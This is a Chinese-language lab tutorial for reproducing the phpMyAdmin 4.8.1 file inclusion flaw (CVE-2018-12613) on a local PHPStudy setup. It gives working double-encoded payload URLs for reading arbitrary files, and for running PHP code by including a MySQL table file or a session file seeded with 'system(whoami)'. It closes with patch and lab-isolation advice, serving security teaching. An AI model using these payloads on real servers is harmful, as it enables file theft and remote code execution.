
从零构建phpMyAdmin 4.8.1漏洞实验环境实战文件包含漏洞复现指南在网络安全学习过程中没有什么比亲手复现一个经典漏洞更能加深理解。phpMyAdmin 4.8.1的文件包含漏洞CVE-2018-12613因其典型性和教育意义成为许多安全从业者的启蒙漏洞。本文将带你使用最常见的PHPStudy环境完整搭建这个漏洞靶场并通过三种不同的利用方式让你彻底掌握文件包含漏洞的原理与实战技巧。1. 实验环境准备与配置1.1 工具与组件下载首先需要准备以下软件包建议从官方渠道获取PHPStudy 2018版推荐版本V8.1phpMyAdmin 4.8.1源码包Windows 10/11操作系统注意不同版本的PHPStudy可能内置的PHP和MySQL版本不同这会影响后续配置。我们推荐使用较旧的2018版本因为它默认包含与漏洞兼容的PHP 5.x系列。1.2 基础环境部署安装PHPStudy后按以下步骤初始化环境启动PHPStudy控制面板选择Apache 2.4 PHP 5.6组合点击启动按钮运行服务解压phpMyAdmin 4.8.1到phpStudy\WWW目录访问http://localhost/phpMyAdmin-4.8.1/验证安装常见问题解决方案问题现象解决方法页面空白检查PHP版本是否为5.xMySQL连接失败确认MySQL服务已启动缺少mbstring扩展在php.ini中取消注释extensionphp_mbstring.dll1.3 解决blowfish_secret配置错误首次访问phpMyAdmin时通常会遇到以下错误提示配置文件现在需要绝密的短语密码(blowfish_secret)解决方法打开phpMyAdmin/libraries/config.default.php找到$cfg[blowfish_secret]配置项修改为任意32字符以上的字符串例如$cfg[blowfish_secret] thisisasecretkeyforpma481testonly123;2. 漏洞原理深度解析2.1 文件包含漏洞的形成机制phpMyAdmin 4.8.1的漏洞核心在于index.php中对target参数的处理不当。关键代码逻辑如下// index.php 51-64行 if (! empty($_REQUEST[target]) is_string($_REQUEST[target]) ! preg_match(/^index/, $_REQUEST[target]) ! in_array($_REQUEST[target], $target_blacklist) Core::checkPageValidity($_REQUEST[target]) ) { include $_REQUEST[target]; }这段代码表明当满足五个条件时系统会直接包含target参数指定的文件。其中最关键的是Core::checkPageValidity()函数的校验逻辑。2.2 校验函数的绕过技巧checkPageValidity()函数位于libraries/classes/Core.php中其核心判断逻辑是function checkPageValidity($page) { if (isset($_whitelist) in_array($page, $_whitelist)) { return true; } $_page mb_substr($page, 0, mb_strpos($page . ?, ?)); if (in_array($_page, $_whitelist)) { return true; } $_page urldecode($page); $_page mb_substr($_page, 0, mb_strpos($_page . ?, ?)); if (in_array($_page, $_whitelist)) { return true; } return false; }要成功利用漏洞需要构造特殊的payload满足以下任一条件直接在白名单中几乎不可能问号前的部分在白名单中双重URL解码后问号前的部分在白名单中关键点服务器会自动解码一次URL编码urldecode()函数会再解码一次因此需要双重编码问号字符?→%253f。3. 漏洞复现实战演练3.1 任意文件包含攻击这是最直接的利用方式通过目录穿越读取系统任意文件在D盘创建测试文件test.txt内容为Hello Vuln World!构造payload访问http://localhost/phpMyAdmin-4.8.1/index.php?targetdb_datadict.php%253f/../../../../../../../../../D/test.txt页面将显示test.txt的内容技巧Windows系统不需要指定盘符如D:直接使用/../../结构即可。3.2 数据库文件包含实现代码执行更危险的利用方式是执行任意PHP代码在phpMyAdmin中创建新数据库test执行SQL语句创建表并插入恶意代码CREATE TABLE evil (data LONGTEXT); INSERT INTO evil VALUES (?php phpinfo(); ?);查找数据库文件路径通常在phpStudy/Extensions/MySQL/data/test/evil.MYD构造payload访问http://localhost/phpMyAdmin-4.8.1/index.php?targetdb_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/MySQL5.7.26/data/test/evil.MYD页面将显示phpinfo信息3.3 通过Session文件执行代码另一种巧妙的利用方式是包含phpMyAdmin的session文件在SQL面板执行SELECT ?php system(whoami); ?在服务器上查找session文件通常在phpStudy/Extensions/tmp/tmp/构造payload包含session文件http://localhost/phpMyAdmin-4.8.1/index.php?targetdb_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/tmp/tmp/sess_[你的sessionID]页面将显示当前Web服务的运行用户4. 漏洞防御与学习延伸4.1 漏洞修复方案phpMyAdmin官方在后续版本中通过以下方式修复了此漏洞严格限制包含文件的路径移除双重URL解码逻辑加强白名单校验机制升级到最新版phpMyAdmin是根本解决方案。4.2 实验环境安全建议在本地进行漏洞实验时建议采取以下安全措施使用虚拟机隔离实验环境实验结束后立即关闭PHPStudy服务不要将实验环境暴露在公网定期清理创建的测试数据库和文件4.3 延伸学习资源要深入理解文件包含漏洞推荐研究以下相关漏洞LFILocal File Inclusion漏洞RFIRemote File Inclusion漏洞PHP伪协议利用技巧php://filter等日志文件包含攻击在CTF比赛中文件包含常与以下技术结合考察路径遍历../编码绕过技巧文件上传漏洞组合利用Session固定攻击